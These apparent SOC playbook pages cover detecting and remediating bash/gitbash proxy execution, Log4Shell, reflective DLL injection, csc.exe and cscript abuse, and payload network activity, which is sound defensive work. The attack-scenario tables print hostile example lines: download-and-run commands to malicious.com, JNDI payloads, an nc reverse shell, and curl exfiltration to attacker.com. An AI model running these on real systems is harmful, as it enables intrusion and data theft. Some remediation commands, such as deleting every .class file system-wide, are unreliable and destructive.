Part 6

Some of SOPs

🚨 Signed Binary Proxy Execution: Bash.exe or Gitbash.exe

🔍 1. Attack Breakdown

📝 What is Signed Binary Proxy Execution (Bash.exe or Gitbash.exe)?

  • Signed Binary Proxy Execution is a technique where attackers use legitimate signed binaries (e.g., bash.exe from Windows Subsystem for Linux (WSL) or gitbash.exe) to proxy malicious commands or payloads.

  • These binaries are trusted by the operating system and security solutions, making them ideal for evading detection.

📑 Why Attackers Use Bash.exe or Gitbash.exe?

  • Trusted Binaries: Binaries are signed by trusted vendors (Microsoft or Git).

  • Evasion: Antivirus and security solutions may overlook these processes.

  • Command Execution: Can execute arbitrary commands or scripts.

  • Living Off the Land: Reduces the need for downloading additional tools.

  • Persistence: Can create scheduled tasks or maintain backdoors.

📌 Common Attack Scenarios

Scenario

Description

Example Command

Execute Malicious Scripts via Bash

Run payloads using Bash.

bash.exe -c "curl http://malicious.com -o /tmp/payload.sh; bash /tmp/payload.sh"

Proxy Commands via Gitbash

Run malicious commands via Gitbash.

gitbash.exe -c "wget http://malicious.com/payload.sh; chmod +x payload.sh; ./payload.sh"

Download and Execute Payloads

Use bash to download and run payloads.

`bash.exe -c "wget -O- http://malicious.com/script.sh

Persistence Using Scheduled Tasks

Use Bash to create persistence.

`schtasks /create /tn UpdateTask /tr "bash.exe -c 'curl http://malicious.com/update.sh

📌 Tools Commonly Abused

Tool

Purpose

bash.exe

Command execution from Windows Subsystem for Linux (WSL)

gitbash.exe

Command execution via Git Bash

curl/wget

Downloading payloads

chmod

Modify file permissions

sh/bash

Execute shell scripts

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ Identify Processes Involving Bash or Gitbash

Get-Process | Where-Object { $_.Path -like "*bash.exe" -or $_.Path -like "*gitbash.exe" }

🕵️ Inspect Command-Line Arguments

Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -like "*bash*" -or $_.CommandLine -like "*wget*" }

🕵️ Monitor Downloads via Bash or Gitbash

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*wget*" -or $_.Message -like "*curl*" }

🕵️ Inspect Parent-Child Relationships

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -ne 0 -and $_.Name -like "*bash.exe*" }

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect Suspicious Bash or Gitbash Execution

DeviceProcessEvents
| where FileName in ("bash.exe", "gitbash.exe")
| where ProcessCommandLine contains "curl" or ProcessCommandLine contains "wget"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Monitor Payload Downloads via Bash/Gitbash

DeviceNetworkEvents
| where InitiatingProcessFileName in ("bash.exe", "gitbash.exe")
| where RemoteUrl contains "http"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, AccountName

🕵️ Identify Bash Processes in Suspicious Folders

DeviceProcessEvents
| where FileName in ("bash.exe", "gitbash.exe")
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| project Timestamp, DeviceName, ProcessCommandLine, FolderPath, AccountName

🕵️ Trace Parent-Child Process Relationships

DeviceProcessEvents
| where ParentProcessFileName contains "explorer.exe" or ParentProcessFileName contains "cmd.exe"
| where FileName in ("bash.exe", "gitbash.exe")
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName

🕵️ Identify Scheduled Tasks Using Bash or Gitbash

DeviceProcessEvents
| where ProcessCommandLine contains "schtasks"
| where ProcessCommandLine contains "bash.exe" or ProcessCommandLine contains "gitbash.exe"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

A new process was created (e.g., bash.exe, gitbash.exe).

4663

Object access attempt (e.g., file download or script execution).

4656

Handle to an object was requested (e.g., script file handle).

7045

A service was installed on the system (e.g., persistence with bash).

📌 Focus on Event ID 4688:

  • Look for:

    ProcessCommandLine: bash.exe -c "wget http://malicious.com/script.sh"
ProcessCommandLine: gitbash.exe -c "curl http://malicious.com/payload.sh"

📌 Focus on Event ID 7045:

  • Check for scheduled tasks or services involving bash.exe or gitbash.exe.

🕵️ 3. Investigation Techniques

1️⃣ Trace Bash or Gitbash Execution History

  • Check recently executed bash commands:

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*bash.exe*" }

2️⃣ Inspect Script Files Called by Bash or Gitbash

  • List script files in suspicious directories:

Get-ChildItem -Path "C:\Temp", "C:\Users\Public" -Include *.sh, *.txt, *.dat -Recurse

3️⃣ Trace Parent-Child Process Tree

  • Identify suspicious parent processes:

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }

4️⃣ Inspect Registry for Persistence Mechanisms

  • Check Scheduled Tasks:

schtasks /query /fo LIST /v | findstr "bash.exe gitbash.exe"

🔧 4. Remediation Steps

📌 1. Terminate Malicious Processes

Stop-Process -Name "bash" -Force
Stop-Process -Name "gitbash" -Force

📌 2. Remove Malicious Scripts

Remove-Item -Path "C:\Temp\payload.sh" -Force

📌 3. Disable Bash or Gitbash for Untrusted Users

icacls "C:\Windows\System32\bash.exe" /deny Everyone:RX

📌 4. Clear Scheduled Tasks Involving Bash/Gitbash

schtasks /delete /tn UpdateTask /f

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

  1. Monitor Bash/Gitbash Execution:

    • Alert on wget, curl, or suspicious arguments.

  2. Implement Application Control (AppLocker/WDAC):

    • Restrict access to bash.exe and gitbash.exe.

  3. Disable WSL if Not Needed:

    Disable-WindowsOptionalFeature -FeatureName Microsoft-Windows-Subsystem-Linux

  4. Monitor Scheduled Tasks:

    • Regularly audit tasks involving bash.exe or gitbash.exe.

  5. Train Users:

    • Educate about suspicious script execution.

🧠 6. Key Takeaways

  • Signed Binaries Are Trusted: Attackers exploit bash.exe and gitbash.exe for stealth.

  • Monitor Command Arguments: Look for curl, wget, and script downloads.

  • Focus on Persistence Mechanisms: Scheduled tasks and startup folders.

  • Event IDs to Monitor: 4688, 4663, 7045.

🚨 Log4j Invocation: Advanced Threat Analysis

🔍 1. Attack Breakdown

📝 What is Log4j?

  • Log4j is a widely used Java-based logging library developed by the Apache Software Foundation.

  • The Log4Shell (CVE-2021-44228) vulnerability allows remote code execution (RCE) by exploiting how Log4j handles JNDI lookups.

  • Attackers can send specially crafted payloads, often containing ${jndi:ldap://attacker-controlled-server/payload} to vulnerable applications, enabling arbitrary code execution.

📑 Why is Log4j Dangerous?

  • Widespread Usage: Many enterprise and open-source applications rely on Log4j.

  • Remote Code Execution (RCE): Allows attackers to run arbitrary code.

  • Minimal Footprint: Exploit can be triggered with a simple HTTP request or log entry.

  • Persistent Access: Attackers can install backdoors or malware.

  • Stealthy: Exploits are often buried in legitimate logs.

📌 Common Attack Scenarios

Technique

Description

Example Payload

LDAP RCE

Execute remote payloads via LDAP.

${jndi:ldap://attacker.com:1389/Exploit}

DNS Exfiltration

Data exfiltration using DNS queries.

${jndi:dns://attacker.com/exfiltrate}

Remote Shell

Trigger remote shell execution.

${jndi:rmi://attacker.com:1099/ReverseShell}

Local Execution

Local execution bypassing detection.

${jndi:ldap://127.0.0.1/payload}

🛡️ 2. Detection Techniques

📊 Manual Inspection with Logs

🕵️ Search for Suspicious Log4j Patterns in Logs

grep -i -E '\$\{jndi:(ldap|rmi|dns)://[^\s]+' /var/log/*.log

🕵️ Identify Suspicious User-Agent Strings

grep -i -E 'jndi:ldap|jndi:rmi|jndi:dns' /var/log/apache2/access.log

🕵️ Analyze Application-Specific Logs (Java-based Apps)

cat /path/to/application/logs | grep -E '\$\{jndi:(ldap|rmi|dns)}'

🕵️ Inspect System Logs for Malicious Processes Triggered by Java Applications

ps aux | grep -i java

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect Suspicious JNDI Strings in Logs

DeviceFileEvents
| where FileName endswith ".log"
| where FileContent contains "${jndi:ldap" or FileContent contains "${jndi:rmi"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName

🕵️ Monitor Network Connections to Suspicious LDAP Servers

DeviceNetworkEvents
| where RemoteUrl contains "ldap://" or RemoteUrl contains "rmi://"
| where RemoteIP !startswith "192.168." and RemoteIP !startswith "10."
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, AccountName

🕵️ Identify Java Processes with Suspicious Command Line Arguments

DeviceProcessEvents
| where FileName == "java.exe"
| where ProcessCommandLine contains "jndi:"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Monitor Suspicious Java Child Processes

DeviceProcessEvents
| where ParentProcessFileName == "java.exe"
| where FileName in ("cmd.exe", "powershell.exe", "curl.exe", "wget.exe")
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Trace Log4j Exploit Patterns in Web Requests

DeviceWebContentEvents
| where Url contains "${jndi:"
| project Timestamp, DeviceName, Url, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

New process creation (e.g., spawned from Java).

4656

Handle to an object was requested (e.g., access to sensitive files).

4663

Object access attempt (e.g., files/scripts executed).

5156

Network connection allowed (e.g., outbound LDAP/DNS traffic).

4104

PowerShell script block logging.

📌 Focus on Event ID 4688:

  • Look for:

    ProcessCommandLine: java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true

📌 Focus on Event ID 5156:

  • Identify outbound connections to LDAP/RMI servers:

    RemoteIP: ldap://attacker.com

🕵️ 3. Investigation Techniques

1️⃣ Trace Java Processes

  • Identify active Java processes:

ps aux | grep java

2️⃣ Inspect Java Application Logs

  • Look for JNDI patterns:

grep -r '${jndi:' /var/log

3️⃣ Check Firewall Logs for Suspicious LDAP/DNS Traffic

  • Identify connections to uncommon LDAP or DNS servers.

4️⃣ Network Traffic Analysis

  • Use tools like Wireshark or Zeek to inspect suspicious outbound connections.

🔧 4. Remediation Steps

📌 1. Patch and Update Log4j

  • Update Log4j to version 2.17.1 or later:

sudo apt-get update && sudo apt-get upgrade log4j

📌 2. Disable JNDI Lookups

  • Add the following parameter:

Dlog4j2.formatMsgNoLookups=true

📌 3. Block Outbound LDAP and RMI Traffic

iptables -A OUTPUT -p tcp --dport 389 -j DROP
iptables -A OUTPUT -p tcp --dport 1099 -j DROP

📌 4. Remove Suspicious Artifacts

  • Delete malicious payloads:

find / -type f -name '*.class' -exec rm -f {} +

📌 5. Rotate Credentials and Secrets

  • Rotate all credentials used in impacted systems.

📌 6. Perform Full Antivirus Scan

clamscan -r /var/log

🛡️ 5. Prevention Steps

  1. Keep Systems and Software Updated:

    • Regularly patch Log4j and related dependencies.

  2. Disable JNDI Lookups Globally:

    • Use JVM options to prevent remote lookups.

  3. Network Monitoring:

    • Block outbound LDAP and RMI connections.

  4. Enable Logging and Alerts:

    • Enable detection for ${jndi: patterns in logs.

  5. Enable Web Application Firewall (WAF):

    • Block Log4j payload patterns via WAF rules.

  6. Limit Java Process Privileges:

    • Run Java processes with minimal privileges.

🧠 6. Key Takeaways

  • Log4j Is a Critical Vulnerability: Immediate patching is essential.

  • Look for JNDI Patterns: ${jndi:ldap}, ${jndi:rmi} in logs and network traffic.

  • Focus on Event IDs: 4688, 4656, 5156, 4663.

  • Disable JNDI Lookup if Unused: Add JVM parameters to prevent exploitation.

  • Monitor Outbound LDAP/DNS Traffic: Track external communication.

🚨 Reflective DLL Injection

🔍 1. Attack Breakdown

📝 What is Reflective DLL Injection?

  • Reflective DLL Injection is a stealthy technique where a DLL (Dynamic Link Library) is loaded directly into a process’s memory without using the standard Windows API LoadLibrary() function.

  • This technique avoids leaving traces on disk, making it difficult for antivirus software and endpoint security solutions to detect.

📑 Why Attackers Use Reflective DLL Injection?

  • Stealth: No need to drop a DLL file on disk.

  • Evasion: Bypasses standard API hooks and antivirus detections.

  • Persistence: Can be used to inject malicious DLLs into persistent processes.

  • Flexibility: Can be used in both local and remote process injections.

📌 How Reflective DLL Injection Works

  1. Payload Delivery: The attacker delivers a malicious DLL to the target system.

  2. Map DLL in Memory: Allocate memory in the target process.

  3. Write DLL to Memory: Copy the DLL into the allocated memory.

  4. Find Entry Point: Locate the DllMain entry point of the DLL.

  5. Execute Entry Point: Call DllMain manually.

📌 Common Tools for Reflective DLL Injection

Tool

Description

Metasploit

Framework for delivering reflective DLLs.

Cobalt Strike

Advanced penetration testing toolkit.

PowerSploit

PowerShell scripts for injection.

Mimikatz

Credential dumping and lateral movement.

Empire

Post-exploitation framework.

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ Identify Suspicious Memory Allocation in Processes

Get-Process | Where-Object { $_.PagedMemorySize -gt 100MB } | Select-Object Name, Id, PagedMemorySize

🕵️ Inspect Processes with RWX Memory Permissions

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=10} | Where-Object { $_.Message -like "*RWX*" }

🕵️ Identify Suspicious DLL Injections via Threads

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*VirtualAlloc*" -or $_.Message -like "*WriteProcessMemory*" }

🕵️ Check Uncommon DLL Paths in MemoryGet-Process | Where-Object { $_.Modules -match "Temp" }

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect Suspicious Memory Allocation

DeviceProcessEvents
| where ProcessCommandLine contains "VirtualAlloc"
| where ProcessCommandLine contains "WriteProcessMemory"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Identify Processes with Suspicious DLL Paths

DeviceImageLoadEvents
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| where FileName endswith ".dll"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName

🕵️ Look for Suspicious API Calls

DeviceProcessEvents
| where ProcessCommandLine contains "CreateRemoteThread"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName

🕵️ Monitor DLL Injection via Known Tools

DeviceProcessEvents
| where ProcessCommandLine contains "rundll32" or ProcessCommandLine contains "powershell"
| where ProcessCommandLine contains "DllRegisterServer"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Identify Thread Injection Activity

DeviceProcessEvents
| where ProcessCommandLine contains "CreateRemoteThread"
| where ProcessCommandLine contains "VirtualAlloc"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

A new process was created (e.g., rundll32.exe).

4689

Process termination (trace exits).

4656

Handle to an object was requested.

10

Sysmon event for memory allocation (RWX).

5156

Network connection allowed.

📌 Focus on Event ID 10 (Sysmon):

  • Look for:

    RuleName: Memory Allocation
Details: RWX memory permissions

📌 Focus on Event ID 4688:

  • Track processes created with reflective DLL payloads:

    CommandLine: rundll32.exe malicious.dll

🕵️ 3. Investigation Techniques

1️⃣ Analyze Memory with Volatility Framework

volatility -f memorydump.img --profile=Win10x64 malfind

2️⃣ Inspect Process Modules

  • Review loaded DLLs:

Get-Process -Id <PID> -Module

3️⃣ Inspect RWX Memory Regions

  • Check memory permissions:

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=10}

4️⃣ Trace Parent-Child Processes

  • Identify the parent process:

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }

🔧 4. Remediation Steps

📌 1. Terminate Malicious Processes

Stop-Process -Id <PID> -Force

📌 2. Dump and Analyze Memory

  • Create a memory dump for further analysis:

procdump -ma <PID> malicious_process.dmp

📌 3. Remove Malicious DLLs

Remove-Item -Path "C:\Temp\malicious.dll" -Force

📌 4. Block Suspicious API Calls

  • Use Windows Defender Exploit Guard to monitor API usage.

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

  1. Enable Sysmon with Rule for RWX Memory Regions:

    • Monitor VirtualAlloc and WriteProcessMemory.

  2. Implement Application Control Policies:

    • Block untrusted DLLs using AppLocker.

  3. Restrict Memory Allocation Permissions:

    • Limit VirtualAlloc calls from untrusted processes.

  4. Enable Behavioral Analytics in EDR Solutions:

    • Monitor thread injection behavior.

  5. Keep Systems Patched and Updated:

    • Apply security updates regularly.

🧠 6. Key Takeaways

  • Reflective DLL Injection is Stealthy: Difficult to detect via standard tools.

  • Monitor RWX Memory Regions: Sysmon Event ID 10 is crucial.

  • Focus on Parent-Child Process Relationships: Check API calls like VirtualAlloc and CreateRemoteThread.

  • Use Threat Intelligence Tools: Validate DLL hashes on VirusTotal.

🚨 Detected Non-Baselined Csc.exe Parent Process

🔍 1. Attack Breakdown

📝 What is Csc.exe?

  • Csc.exe (C# Compiler) is a legitimate Microsoft binary located in C:\Windows\Microsoft.NET\Framework\<version>\csc.exe.

  • It is used by the .NET Framework to compile C# code into executables or DLLs.

📑 Why is Csc.exe Abused by Attackers?

  • Trusted Binary: Signed by Microsoft, reducing suspicion.

  • Execution Proxy: Can execute malicious C# payloads without being flagged.

  • Fileless Execution: Execute code directly from memory.

  • Evasion: Avoid detection by hiding behind a legitimate process.

  • Persistence: Can be used in scheduled tasks or registry entries.

📌 Common Attack Scenarios

Technique

Description

Example Command

Code Compilation from Temp Directory

Compile and run malicious C# code from Temp.

csc.exe /out:C:\Temp\malware.exe C:\Temp\script.cs

Reflective Code Execution

Reflectively execute C# code in memory.

csc.exe -r:System.dll -r:System.Net.dll C:\Temp\exploit.cs

Scheduled Task with Csc.exe

Persistence through scheduled tasks.

schtasks /create /tn "UpdateTask" /tr "csc.exe /out:C:\Temp\malware.exe C:\Temp\script.cs" /sc daily

Obfuscated Commands

Use obfuscation to avoid detection.

csc.exe /target:winexe /out:%TEMP%\payload.exe script.cs

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ List Active Csc.exe Processes

Get-Process -Name csc | Select-Object Id, ProcessName, Path, StartTime

🕵️ Inspect Csc.exe Parent Processes

Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "csc.exe" } | Select-Object ProcessId, ParentProcessId, CommandLine

🕵️ Check Recent Csc.exe Executions

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*csc.exe*" }

🕵️ List Suspicious Csc.exe Files in Temp or Public Directories

Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\Public" -Filter "csc.exe" -Recurse

🕵️ Analyze Compiled Executables

Get-ChildItem -Path "C:\Temp" -Filter "*.exe" | Select-Object FullName, LastWriteTime

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect Suspicious Csc.exe Parent Processes

DeviceProcessEvents
| where FileName == "csc.exe"
| where ParentProcessFileName !in ("cmd.exe", "powershell.exe", "explorer.exe", "msbuild.exe")
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessFileName, AccountName

🕵️ Identify Csc.exe Execution from Non-Standard Directories

DeviceProcessEvents
| where FileName == "csc.exe"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FolderPath, ProcessCommandLine, AccountName

🕵️ Detect Csc.exe Compiling Code from Suspicious Files

DeviceFileEvents
| where FileName endswith ".cs"
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName

🕵️ Monitor Suspicious Csc.exe Network Connections

DeviceNetworkEvents
| where InitiatingProcessFileName == "csc.exe"
| where RemoteIP !startswith "192.168."
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, AccountName

🕵️ Scheduled Task with Csc.exe

DeviceProcessEvents
| where ProcessCommandLine contains "schtasks"
| where ProcessCommandLine contains "csc.exe"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

New process creation (csc.exe)

4663

Object access attempt

4656

Handle to an object requested

7045

New service installed on the system

📌 Focus on Event ID 4688:

  • Look for:

    ProcessName: csc.exe
ParentProcess: powershell.exe, cmd.exe, msbuild.exe
CommandLine: csc.exe /out:C:\Temp\payload.exe C:\Temp\exploit.cs

📌 Focus on Event ID 7045:

  • Look for scheduled tasks or services using csc.exe.

🕵️ 3. Investigation Techniques

1️⃣ Trace Parent-Child Relationships

  • Identify the parent process:

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }

2️⃣ Analyze Command-Line History

  • Review recent commands involving csc.exe:

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*csc.exe*" }

3️⃣ Check for Temporary C# Files

  • Look for .cs files in temporary directories:

Get-ChildItem -Path "C:\Temp" -Filter "*.cs"

4️⃣ Review Network Activity

  • Analyze network activity from csc.exe:

netstat -ano | findstr <PID>

🔧 4. Remediation Steps

📌 1. Terminate Malicious Processes

Stop-Process -Name "csc" -Force

📌 2. Remove Malicious C# Scripts

Remove-Item -Path "C:\Temp\exploit.cs" -Force

📌 3. Disable Csc.exe Execution in User Directories

  • Create AppLocker policy:

New-AppLockerPolicy -RuleType Deny -Path "C:\Users\*\AppData\*\csc.exe"

📌 4. Audit Scheduled Tasks

schtasks /query /fo LIST /v

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

  1. Enable Command-Line Auditing:

    • Monitor csc.exe arguments.

  2. Implement Application Control Policies:

    • Block unauthorized csc.exe usage.

  3. Restrict Access to Compiler Binaries:

    • Limit access to csc.exe.

  4. Patch Systems Regularly:

    • Ensure .NET Framework is updated.

  5. Enable Behavioral Analytics in EDR:

    • Detect abnormal csc.exe behavior.

🧠 6. Key Takeaways

  • Monitor Non-Standard Parent Processes: Investigate unexpected parents for csc.exe.

  • Focus on Event IDs: 4688, 4663, 7045.

  • Monitor Temporary Directories: Look for .cs and .exe files.

  • Apply Application Control Policies: Block unauthorized compiler access.

🚨 Cscript Launching CMD or PowerShell

🔍 1. Attack Breakdown

📝 What is Cscript.exe?

  • Cscript.exe is the Command-Line Script Host used to execute VBScript (.vbs) and JScript (.js) files on Windows systems.

  • It’s a legitimate Microsoft binary located in C:\Windows\System32\cscript.exe.

📑 Why Attackers Abuse Cscript.exe?

  • Trusted Binary: Signed by Microsoft and often allowed by security tools.

  • Script Execution: Can run .vbs and .js scripts silently.

  • Proxy Execution: Attackers use it to launch cmd.exe or powershell.exe for further malicious activities.

  • Evasion: Script execution can be obfuscated to avoid detection.

  • Persistence: Used in scheduled tasks or startup entries.

📌 Common Attack Scenarios

Technique

Description

Example Command

Launch CMD via VBScript

Run commands using CMD from a VBScript.

cscript.exe script.vbs

Launch PowerShell via VBScript

Run PowerShell commands via VBScript.

cscript.exe payload.vbs

Obfuscated Payloads

Hide malicious commands in an obfuscated script.

cscript.exe /nologo C:\Temp\obfuscated.vbs

Persistence via Scheduled Task

Run a VBScript periodically to launch CMD/PowerShell.

schtasks /create /tn UpdateTask /tr "cscript.exe script.vbs" /sc daily

Fileless Execution

Execute scripts in memory without leaving traces on disk.

cscript.exe //e:vbscript -

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ Identify Active Cscript Processes

Get-Process -Name cscript | Select-Object Id, ProcessName, Path, StartTime

🕵️ Inspect Cscript Launching CMD or PowerShell

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object {
    $_.Message -like "*cscript.exe*" -and ($_.Message -like "*cmd.exe*" -or $_.Message -like "*powershell.exe*")
}

🕵️ Check VBScript Files in Suspicious Directories

Get-ChildItem -Path "C:\Users\Public", "C:\Windows\Temp" -Include *.vbs -Recurse

🕵️ Identify Obfuscated VBScript Execution

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'} | Where-Object {
    $_.Message -like "*cscript.exe*" -and $_.Message -like "*-EncodedCommand*"
}

🕵️ Inspect Parent-Child Relationship

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq (Get-Process -Name "cscript").Id }

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect Cscript Launching CMD or PowerShell

DeviceProcessEvents
| where FileName == "cscript.exe"
| where ProcessCommandLine contains "cmd.exe" or ProcessCommandLine contains "powershell.exe"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName

🕵️ Identify Suspicious Cscript Script Execution

DeviceFileEvents
| where FileName endswith ".vbs" or FileName endswith ".js"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName

🕵️ Trace Parent-Child Relationships

DeviceProcessEvents
| where FileName == "cmd.exe" or FileName == "powershell.exe"
| where InitiatingProcessFileName == "cscript.exe"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName

🕵️ Detect Obfuscated Commands via Cscript

DeviceProcessEvents
| where FileName == "cscript.exe"
| where ProcessCommandLine contains "-EncodedCommand"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Monitor Scheduled Tasks Involving Cscript

DeviceProcessEvents
| where FileName == "schtasks.exe"
| where ProcessCommandLine contains "cscript.exe"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

A new process was created (cscript.exe).

4663

Object access attempt (script file access).

4104

PowerShell script block execution.

7045

A new service was installed.

📌 Focus on Event ID 4688:

  • Look for:

    ProcessCommandLine: cscript.exe script.vbs
ProcessCommandLine: cscript.exe payload.js
ParentProcess: cmd.exe or powershell.exe

📌 Focus on Event ID 4104:

  • Look for obfuscated payload execution via PowerShell.

🕵️ 3. Investigation Techniques

1️⃣ Trace Script Origin

  • Inspect script file metadata:

Get-ItemProperty -Path "C:\Temp\script.vbs"

2️⃣ Analyze Parent-Child Process Tree

  • Trace back the initiating process:

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }

3️⃣ Check Scheduled Tasks for Script Execution

  • Look for scheduled tasks invoking Cscript:

schtasks /query /fo LIST /v | findstr "cscript.exe"

4️⃣ Validate Script File Hashes

  • Generate file hash and compare on VirusTotal:

Get-FileHash -Path "C:\Temp\script.vbs" -Algorithm SHA256

🔧 4. Remediation Steps

📌 1. Terminate Malicious Processes

Stop-Process -Name "cscript" -Force

📌 2. Remove Malicious Script Files

Remove-Item -Path "C:\Temp\malicious.vbs" -Force

📌 3. Disable Windows Script Host

reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f

📌 4. Audit Scheduled Tasks

schtasks /delete /tn "UpdaterTask" /f

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

  1. Disable Windows Script Host (If Unused).

  2. Enable Command Line Auditing.

  3. Monitor Scheduled Tasks for Script Execution.

  4. Block Obfuscated Scripts via AppLocker.

  5. Regularly Audit Script Files in Temp and Public Folders.

🚨 Payload Performing Network Activity

🔍 1. Attack Breakdown

📝 What is a Network Payload Activity?

  • Payloads performing network activity are malicious programs/scripts that:

    • Communicate with Command and Control (C2) servers.

    • Exfiltrate sensitive data from the target system.

    • Download additional payloads or tools.

    • Establish persistence by maintaining a communication channel with the attacker.

📑 Why Attackers Use Network Payloads?

  • Remote Control: Execute commands remotely on compromised systems.

  • Exfiltration: Transfer sensitive data to external servers.

  • Obfuscation: Hide network communication using encryption or legitimate services.

  • Pivoting: Use the compromised host as a gateway to access other systems.

  • Reconnaissance: Map the network infrastructure.

📌 Common Attack Scenarios

Technique

Description

Example Command

Download Additional Payloads

Use HTTP/S to download malicious tools.

powershell.exe -c "Invoke-WebRequest -Uri http://malicious.com/payload.exe"

C2 Communication

Establish persistent communication with a C2 server.

nc -e cmd.exe attacker.com 4444

Data Exfiltration

Transfer files to an external server.

curl -T sensitive_data.zip http://attacker.com/upload

DNS Tunneling

Covert communication via DNS requests.

nslookup -type=txt secret.attacker.com

Proxying Traffic

Use compromised systems as a proxy.

ssh -R 8080:localhost:80 attacker.com

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ List Processes with Active Network Connections

Get-Process | Where-Object { $_.Name -in @("powershell", "cmd", "wscript", "cscript") } | 
    ForEach-Object { $_.Id } | 
    ForEach-Object { Get-NetTCPConnection -OwningProcess $_ }

🕵️ Inspect Recent Connections to External IPs

Get-NetTCPConnection | Where-Object { $_.RemoteAddress -notlike "192.168.*" -and $_.RemoteAddress -notlike "10.*" }

🕵️ Check Outbound Connections Using CMD or PowerShell

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object {
    $_.Message -like "*powershell*" -or $_.Message -like "*cmd*" -and $_.Message -like "*http*"
}

🕵️ Identify Scripts Making Network Calls

Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\Public" -Include *.ps1, *.bat, *.vbs -Recurse | 
    Select-String -Pattern "Invoke-WebRequest", "curl", "wget"

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect Network Activity from Suspicious Processes

DeviceNetworkEvents
| where InitiatingProcessFileName in ("powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe")
| where RemoteIP != "127.0.0.1" and RemoteIP != "::1"
| where RemoteIP !startswith "192.168." and RemoteIP !startswith "10."
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, RemotePort, ProcessCommandLine, AccountName

🕵️ Monitor HTTP/S Traffic from Suspicious Processes

DeviceNetworkEvents
| where RemoteUrl contains "http" or RemoteUrl contains "https"
| where InitiatingProcessFileName in ("powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe")
| project Timestamp, DeviceName, RemoteUrl, ProcessCommandLine, AccountName

🕵️ Identify DNS Exfiltration Patterns

DeviceNetworkEvents
| where RemoteUrl contains ".attacker.com"
| where Protocol == "DNS"
| project Timestamp, DeviceName, RemoteUrl, AccountName

🕵️ Look for Obfuscated Network Commands

DeviceProcessEvents
| where ProcessCommandLine contains "Invoke-WebRequest" or ProcessCommandLine contains "curl"
